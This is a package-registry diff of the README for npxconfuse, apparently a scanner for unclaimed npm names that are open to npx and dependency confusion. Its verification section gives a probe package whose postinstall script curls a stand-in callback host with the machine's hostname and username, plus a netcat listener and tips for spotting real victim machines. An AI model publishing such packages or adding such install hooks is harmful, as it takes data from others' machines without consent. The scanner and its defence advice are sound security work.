npxconfuse 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,462 @@
1
+ # npxconfuse
2
+
3
+ <p align="center">
4
+ <strong>npx Confusion Vulnerability Scanner</strong><br>
5
+ <em>Find unclaimed npm package names in your supply chain before attackers do.</em>
6
+ </p>
7
+
8
+ <p align="center">
9
+ <a href="#license"><img src="https://img.shields.io/badge/license-MIT-blue.svg" alt="License: MIT"></a>
10
+ <a href="https://nodejs.org/"><img src="https://img.shields.io/badge/node-%3E%3D18-brightgreen.svg" alt="Node >= 18"></a>
11
+ </p>
12
+
13
+ ---
14
+
15
+ > **Based on the original research by Lupin & Holmes, presented at DEF CON 33.**
16
+ >
17
+ > Read the full paper: **[npx Used Confusion and It's Super Effective](https://www.landh.tech/blog/20260521-npx-used-confusion-and-its-super-effective/)**
18
+ >
19
+ > This tool automates the discovery process described in that research โ€” scanning local codebases, GitHub organizations, and web assets for unclaimed npm package names that are exploitable via npx confusion and dependency confusion attacks.
20
+
21
+ ---
22
+
23
+ ## What It Detects
24
+
25
+ | # | Vulnerability | Severity | Description |
26
+ |---|---------------|----------|-------------|
27
+ | ๐Ÿ”ด | **npx Confusion** | `CRITICAL` | An `npx <name>` invocation in your `package.json` scripts points to a package **unclaimed** on npm. An attacker can register that name and achieve RCE on every developer and CI pipeline that runs your scripts. |
28
+ | ๐Ÿ”ด | **Bin Mismatch** | `CRITICAL` | A scoped package (`@scope/pkg`) exposes a binary with a **different, unscoped name** that is unclaimed on npm. Since npm binaries cannot contain `/`, this mismatch is inherent to scoped packages. |
29
+ | ๐ŸŸก | **Dependency Confusion** | `HIGH` | Private/internal package names (enterprise-scoped packages, `file:` references) are **not registered** on the public npm registry. An attacker can publish a package with the same name and hijack installs. |
30
+ | ๐ŸŸ  | **Name Clash** | `MEDIUM` | A used package name exists on the public registry but is **owned by a different entity** โ€” potential typo-squatting or namespace collision worth investigating. |
31
+
32
+ ### The Attack in 30 Seconds
33
+
34
+ ```bash
35
+ # Your package.json script:
36
+ "scripts": {
37
+ "dev": "npx my-internal-tool --watch" # โ† name is UNCLAIMED on npm
38
+ }
39
+
40
+ # Attacker:
41
+ npm publish my-internal-tool # โ† now every `npm run dev` runs attacker code
42
+ ```
43
+
44
+ `npxconfuse` automates discovery of these unclaimed names across your entire codebase, GitHub organization, and public-facing web assets.
45
+
46
+ ---
47
+
48
+ ## Installation
49
+
50
+ **Requirements:** Node.js >= 18
51
+
52
+ ```bash
53
+ # Run directly (no install needed)
54
+ npx npxconfuse scan ./my-project
55
+
56
+ # Global install
57
+ npm install -g npxconfuse
58
+
59
+ # Local install as dev dependency
60
+ npm install --save-dev npxconfuse
61
+ ```
62
+
63
+ ---
64
+
65
+ ## Quick Start
66
+
67
+ ```bash
68
+ # 1. Scan your current project
69
+ npxconfuse scan . # basic: package.json files
70
+ npxconfuse scan . --deep # thorough: also scans JS bundles
71
+
72
+ # 2. Scan with JSON output (for CI/CD pipelines)
73
+ npxconfuse scan . -o json
74
+
75
+ # 3. Scan and save results
76
+ npxconfuse scan . --save findings.json
77
+
78
+ # 4. Check a list of package names directly
79
+ npxconfuse check names.txt
80
+ ```
81
+
82
+ ---
83
+
84
+ ## Usage
85
+
86
+ ### `scan` โ€” Scan a Local Directory
87
+
88
+ ```bash
89
+ npxconfuse scan <path> [options]
90
+
91
+ # Basic scan of a project
92
+ npxconfuse scan ./my-project
93
+
94
+ # Deep scan โ€” also parses JS bundles for imports/requires
95
+ npxconfuse scan ./my-project --deep
96
+
97
+ # JSON output to stdout
98
+ npxconfuse scan ./my-project -o json
99
+
100
+ # Save to file
101
+ npxconfuse scan ./my-project --save results.csv
102
+ ```
103
+
104
+ **What it scans:**
105
+ - `package.json` โ€” scripts (npx invocations), bin field, dependencies
106
+
107
+ **With `--deep`:**
108
+ - JS bundles (`*.js`, `*.mjs`, `*.cjs`) โ€” parses `require()`, `import`, and embedded `package.json` blocks
109
+
110
+ **What it skips:**
111
+ - `node_modules/`, `.git/`, `dist/`, `build/`, `.next/`, `coverage/`
112
+
113
+ ### `github` โ€” Scan a GitHub Organization
114
+
115
+ ```bash
116
+ npxconfuse github <org-name> [options]
117
+
118
+ # Scan an org (requires GITHUB_TOKEN)
119
+ export GITHUB_TOKEN=ghp_your_token_here
120
+ npxconfuse github my-company
121
+
122
+ # Limit to 100 repos
123
+ npxconfuse github my-company --max-repos 100
124
+
125
+ # GitHub Enterprise
126
+ npxconfuse github my-company --github-enterprise https://github.internal.example.com
127
+ ```
128
+
129
+ **Token requirements:**
130
+ - Create a token at [github.com/settings/tokens](https://github.com/settings/tokens)
131
+ - Scope: `repo` (private repos) or `public_repo` (public repos only)
132
+
133
+ ### `web` โ€” Scan Web Domains
134
+
135
+ ```bash
136
+ npxconfuse web <domains-file>
137
+
138
+ # domains.txt โ€” one domain/URL per line:
139
+ # example.com
140
+ # https://app.example.com
141
+ # api.example.org
142
+
143
+ npxconfuse web domains.txt
144
+ ```
145
+
146
+ Probes each domain for:
147
+ - Exposed `/package.json`, `/package-lock.json`
148
+ - JavaScript bundles referenced in `<script>` tags
149
+
150
+ ### `check` โ€” Direct Package Name Checking
151
+
152
+ ```bash
153
+ npxconfuse check <names-file>
154
+
155
+ # names.txt โ€” one package name per line:
156
+ # my-internal-tool
157
+ # @company/shared-utils
158
+ # company-dashboard
159
+
160
+ npxconfuse check names.txt
161
+ ```
162
+
163
+ ---
164
+
165
+ ## Output Formats
166
+
167
+ | Format | Flag | Best For |
168
+ |--------|------|----------|
169
+ | **Table** (default) | `-o table` | Interactive terminal use |
170
+ | **JSON** | `-o json` | CI/CD pipelines, `jq` processing |
171
+ | **CSV** | `-o csv` | Spreadsheets, data analysis |
172
+
173
+ ### Table Output (default)
174
+
175
+ ```
176
+ โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
177
+ โ”‚ Severity โ”‚ Package โ”‚ Type โ”‚ Registry โ”‚ Status โ”‚ Details โ”‚ Source โ”‚
178
+ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
179
+ โ”‚ CRITICAL โ”‚ my-internal-tool โ”‚ npx-confusion โ”‚ npm โ”‚ โฌค UNCLAIMED โ”‚ Package name is not registered โ”‚ package.json โ”‚
180
+ โ”‚ HIGH โ”‚ @company/shared โ”‚ dep-confusion โ”‚ npm โ”‚ โฌค UNCLAIMED โ”‚ Package name is not registered โ”‚ package.json โ”‚
181
+ โ”‚ MEDIUM โ”‚ react โ”‚ name-clash โ”‚ npm โ”‚ โ— claimed โ”‚ facebook/react โ”‚ JS bundle โ”‚
182
+ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
183
+
184
+ Found 3 issue(s): 1 critical, 1 high, 1 medium
185
+ ```
186
+
187
+ ### JSON Output
188
+
189
+ ```json
190
+ {
191
+ "findings": [
192
+ {
193
+ "name": "my-internal-tool",
194
+ "type": "npx-confusion",
195
+ "registry": "npm",
196
+ "status": "unclaimed",
197
+ "severity": "CRITICAL",
198
+ "sources": ["/project/package.json"],
199
+ "contexts": ["scripts.dev: npx my-internal-tool"]
200
+ }
201
+ ],
202
+ "summary": {
203
+ "total": 1,
204
+ "critical": 1,
205
+ "high": 0,
206
+ "medium": 0,
207
+ "low": 0,
208
+ "info": 0
209
+ }
210
+ }
211
+ ```
212
+
213
+ ### CSV Output
214
+
215
+ ```csv
216
+ severity,name,type,registry,status,owner,details,sources
217
+ CRITICAL,my-internal-tool,npx-confusion,npm,unclaimed,,Package name is not registered,/project/package.json
218
+ ```
219
+
220
+ ---
221
+
222
+ ## Options
223
+
224
+ | Option | Description | Default |
225
+ |--------|-------------|---------|
226
+ | `-o, --output <format>` | Output format: `table`, `json`, `csv` | `table` |
227
+ | `-c, --concurrency <n>` | Max parallel registry requests | `20` |
228
+ | `--timeout <ms>` | HTTP timeout (milliseconds) | `10000` |
229
+ | `--save <filepath>` | Save results to file (format auto-detected from extension) | โ€” |
230
+ | `-v, --verbose` | Enable debug logging | `false` |
231
+
232
+ **Scan-specific options:**
233
+
234
+ | Command | Option | Description |
235
+ |---------|--------|-------------|
236
+ | `scan` | `--deep` | Also parse JS bundles for imports/requires |
237
+ | `github` | `--max-repos <n>` | Maximum repos to scan | `1000` |
238
+ | `github` | `--github-enterprise <url>` | GitHub Enterprise base URL | โ€” |
239
+
240
+ ---
241
+
242
+ ## Exit Codes
243
+
244
+ | Code | Meaning |
245
+ |------|---------|
246
+ | `0` | No critical or high findings |
247
+ | `2` | Critical findings detected (useful for CI/CD `|| exit` pipelines) |
248
+
249
+ ---
250
+
251
+ ## Verifying Vulnerabilities: Setting Up a Callback Server
252
+
253
+ Once `npxconfuse` identifies unclaimed package names, you'll want to verify whether those names are **actually being pulled** in real environments. Simply claiming the name and publishing a package is not enough โ€” you need to confirm that the package is being downloaded by real CI pipelines or developers.
254
+
255
+ ### Step 1: Set Up a Callback Server
256
+
257
+ Publish a harmless package under the unclaimed name that phones home to a server you control. This lets you observe exactly who is pulling the package and from where.
258
+
259
+ ```bash
260
+ # 1. Create a directory for the probe package
261
+ mkdir probe-package && cd probe-package
262
+ npm init -y
263
+
264
+ # 2. Add a postinstall script that calls back to your server
265
+ # (package.json)
266
+ {
267
+ "name": "my-internal-tool",
268
+ "version": "1.0.0",
269
+ "scripts": {
270
+ "postinstall": "curl -s https://your-callback-server.example.com/$(hostname)/$(whoami)"
271
+ }
272
+ }
273
+
274
+ # 3. Publish to npm
275
+ npm publish
276
+ ```
277
+
278
+ ### Step 2: Deploy a Lightweight Callback Listener
279
+
280
+ You can use a simple HTTP server, a webhook receiver, or services like:
281
+
282
+ - **[Pipedream](https://pipedream.com/)** โ€” Free tier, instant HTTP endpoints with logging
283
+ - **[Webhook.site](https://webhook.site/)** โ€” Instant disposable endpoints, no setup needed
284
+ - **[ngrok](https://ngrok.com/)** โ€” Expose a local server to the internet
285
+ - **Your own VPS** with a simple `nc -l` or Python HTTP server
286
+
287
+ Example with a one-liner netcat listener:
288
+
289
+ ```bash
290
+ # On your VPS:
291
+ while true; do echo "=== $(date) ===" | nc -l -p 443 -q 1; done
292
+ ```
293
+
294
+ ### Step 3: Monitor and Filter
295
+
296
+ Watch your callback logs for incoming requests. Each hit represents a machine that ran `npx my-internal-tool` or installed the package.
297
+
298
+ ---
299
+
300
+ ## โš ๏ธ Important: Distinguishing Real Pulls from Bots
301
+
302
+ When you publish a package to npm, you will see **immediate download activity**. Most of this is **not** from real targets โ€” it comes from automated systems that mirror or analyze every new npm package.
303
+
304
+ ### Common False Positive Sources
305
+
306
+ | Source | What It Is | Action |
307
+ |--------|------------|--------|
308
+ | **npm CDN / mirror bots** | Replication bots from jsDelivr, unpkg, etc. that cache every package | Ignore โ€” these are not your targets |
309
+ | **Security scanners** | Automated tools (Snyk, Socket.dev, etc.) that analyze every new publish | Ignore โ€” they are not real installs |
310
+ | **Replication services** | Third-party registries that mirror npm (e.g. npmmirror.com in China) | Ignore โ€” these are mirrors, not targets |
311
+ | **npm's own download count** | The download counter on npmjs.com includes all mirror/cache traffic | **Do not trust download counts as proof** |
312
+
313
+ ### How to Identify Real Pulls
314
+
315
+ Real pulls come from **actual CI environments and developer machines**. Look for these signals in your callback data:
316
+
317
+ | Signal | Indicates |
318
+ |--------|-----------|
319
+ | ๐ŸŸข **CI hostnames** (e.g. `github-runner-*, `circleci-*`, `jenkins-*`, `gitlab-runner-*`) | CI pipelines pulling the package |
320
+ | ๐ŸŸข **Corporate hostnames** (matches the organization you're testing) | Internal developer machines |
321
+ | ๐ŸŸข **Timing alignment** โ€” hits coincide with code pushes or scheduled builds | Genuine CI activity |
322
+ | ๐ŸŸข **Developer usernames** in the callback path (from `whoami`) | Real developer workstations |
323
+ | ๐ŸŸข **Non-standard user agents** or IPs from corporate ranges | Authentic internal traffic |
324
+ | ๐Ÿ”ด **Immediate hits from IPs owned by Cloudflare/Fastly/CDN providers** | Likely mirror bots |
325
+ | ๐Ÿ”ด **Hits at the exact same second as publish** | Bots polling the registry feed |
326
+
327
+ ### Recommended Approach
328
+
329
+ 1. Publish your probe package
330
+ 2. **Ignore the first 24โ€”48 hours of activity** โ€” this is predominantly bots and mirrors
331
+ 3. After the initial noise settles, look for patterns that match the target organization's:
332
+ - IP ranges
333
+ - Hostname conventions
334
+ - CI provider
335
+ - Working hours / timezone
336
+ 4. Only consider hits that correlate with known development activity (commits to repos, CI build triggers)
337
+
338
+ ---
339
+
340
+ ## How It Works
341
+
342
+ ```
343
+ โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
344
+ โ”‚ 1. DISCOVERY โ”‚ โ”€โ”€โ–ถ โ”‚ 2. EXTRACTION โ”‚ โ”€โ”€โ–ถ โ”‚ 3. ANALYSIS โ”‚
345
+ โ”‚ โ”‚ โ”‚ โ”‚ โ”‚ โ”‚
346
+ โ”‚ โ€ข Local FS โ”‚ โ”‚ โ€ข npx scripts โ”‚ โ”‚ โ€ข npm registry โ”‚
347
+ โ”‚ โ€ข GitHub API โ”‚ โ”‚ โ€ข bin fields โ”‚ โ”‚ โ€ข Severity score โ”‚
348
+ โ”‚ โ€ข Web scrape โ”‚ โ”‚ โ€ข JS imports โ”‚ โ”‚ โ€ข Owner lookup โ”‚
349
+ โ”‚ โ€ข Direct check โ”‚ โ”‚ โ€ข dependencies โ”‚ โ”‚ โ€ข Download stats โ”‚
350
+ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
351
+ โ”‚
352
+ โ–ผ
353
+ โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
354
+ โ”‚ 4. REPORTING โ”‚
355
+ โ”‚ โ”‚
356
+ โ”‚ โ€ข Table / JSON โ”‚
357
+ โ”‚ โ€ข CSV output โ”‚
358
+ โ”‚ โ€ข File export โ”‚
359
+ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
360
+ ```
361
+
362
+ ### Detection Logic
363
+
364
+ 1. **Discovery** โ€” Finds `package.json` files and JS bundles via filesystem glob, GitHub API, or HTTP probes
365
+ 2. **Extraction** โ€” Parses each file with dedicated extractors:
366
+ - `package.json`: `npx` in scripts, `bin` field, scoped dependencies with `file:`/`workspace:` references
367
+ - `JS bundles`: embedded `package.json` blocks, `require()` calls, `import` statements
368
+ 3. **Analysis** โ€” Deduplicates names across sources and queries the npm registry in parallel, classifying each name as **unclaimed**, **claimed**, **private**, or **error**
369
+ 4. **Reporting** โ€” Formats results in the chosen output format with severity coloring
370
+
371
+ ### Severity Classification
372
+
373
+ | Finding Type | Registry Status | Severity |
374
+ |--------------|-----------------|----------|
375
+ | `npx-confusion` | `unclaimed` | ๐Ÿ”ด `CRITICAL` |
376
+ | `bin-mismatch` | `unclaimed` | ๐Ÿ”ด `CRITICAL` |
377
+ | `dependency-confusion` | `unclaimed` | ๐ŸŸก `HIGH` |
378
+ | Any | `claimed` | ๐ŸŸ  `MEDIUM` |
379
+ | Any | `private` | โšช `INFO` |
380
+
381
+ ---
382
+
383
+ ## Real-World Scenarios
384
+
385
+ ### Scenario 1: You run `npx` in your npm scripts
386
+
387
+ ```json
388
+ // package.json
389
+ {
390
+ "scripts": {
391
+ "build": "npx my-build-tool --prod",
392
+ "lint": "npx @scope/custom-linter"
393
+ }
394
+ }
395
+ ```
396
+
397
+ `npxconfuse` detects both `my-build-tool` and the unscoped binary name of `@scope/custom-linter` if they're unclaimed on npm.
398
+
399
+ ### Scenario 2: You use private/internal packages
400
+
401
+ ```json
402
+ // package.json
403
+ {
404
+ "dependencies": {
405
+ "@mycorp/internal-auth": "file:../packages/auth"
406
+ }
407
+ }
408
+ ```
409
+
410
+ If `@mycorp/internal-auth` is not registered on the public npm registry, an attacker can publish a malicious package with the same name.
411
+
412
+ ### Scenario 3: Your web app exposes its `package.json`
413
+
414
+ If `https://app.example.com/package.json` returns your production manifest, an attacker can extract your internal package names. `npxconfuse web` helps you find this exposure first.
415
+
416
+ ---
417
+
418
+ ## Research Background
419
+
420
+ This tool operationalizes the vulnerability class described by **Lupin & Holmes** in their DEF CON 33 research:
421
+
422
+ - **[npx Used Confusion and It's Super Effective](https://www.landh.tech/blog/20260521-npx-used-confusion-and-its-super-effective/)** โ€” The original paper
423
+
424
+ **Key concepts from the research:**
425
+
426
+ - **npx resolution flow:** When `npx <binary>` cannot find a binary in `./node_modules/.bin/`, it falls back to fetching from the public npm registry. If that name is unclaimed, an attacker can register it.
427
+ - **Scoped package mismatch:** npm binaries cannot contain `/`, so `@scope/pkg` must expose an unscoped binary name โ€” creating a natural mismatch exploitable for package takeover.
428
+ - **Dependency confusion:** If a private package name is not reserved on public registries, an attacker can publish a package with the same name and hijack the resolution chain.
429
+ - **Defense:** Register placeholder packages for all internal names, use `--yes`/`--no` flags with npx, configure scope-to-registry mappings via `.npmrc`, and audit your `package.json` scripts for unregistered npx targets.
430
+
431
+ ---
432
+
433
+ ## Contributing
434
+
435
+ Contributions are welcome! Areas that particularly need help:
436
+
437
+ - ๐Ÿงช **Tests** โ€” unit and integration tests
438
+ - ๐Ÿ“ฆ **Additional registries** โ€” RubyGems, NuGet, Maven, Docker Hub support
439
+ - ๐Ÿ–ฅ๏ธ **Windows** โ€” PowerShell script support and testing
440
+ - ๐Ÿ“Š **SARIF output** โ€” GitHub Code Scanning integration
441
+ - ๐Ÿ” **Deeper JS parsing** โ€” AST-based extraction for more accurate import detection
442
+
443
+ ### Development Setup
444
+
445
+ ```bash
446
+ git clone <repo-url>
447
+ cd npxconfuse
448
+ npm install
449
+ npm start scan ./test-project # Test a local scan
450
+ ```
451
+
452
+ ---
453
+
454
+ ## License
455
+
456
+ MIT โ€” see [LICENSE](LICENSE) file.
457
+
458
+ ---
459
+
460
+ ## Security
461
+
462
+ If you discover a vulnerability in `npxconfuse` itself, please open an issue or submit a PR responsibly. Do not publish the vulnerability publicly before a fix is available.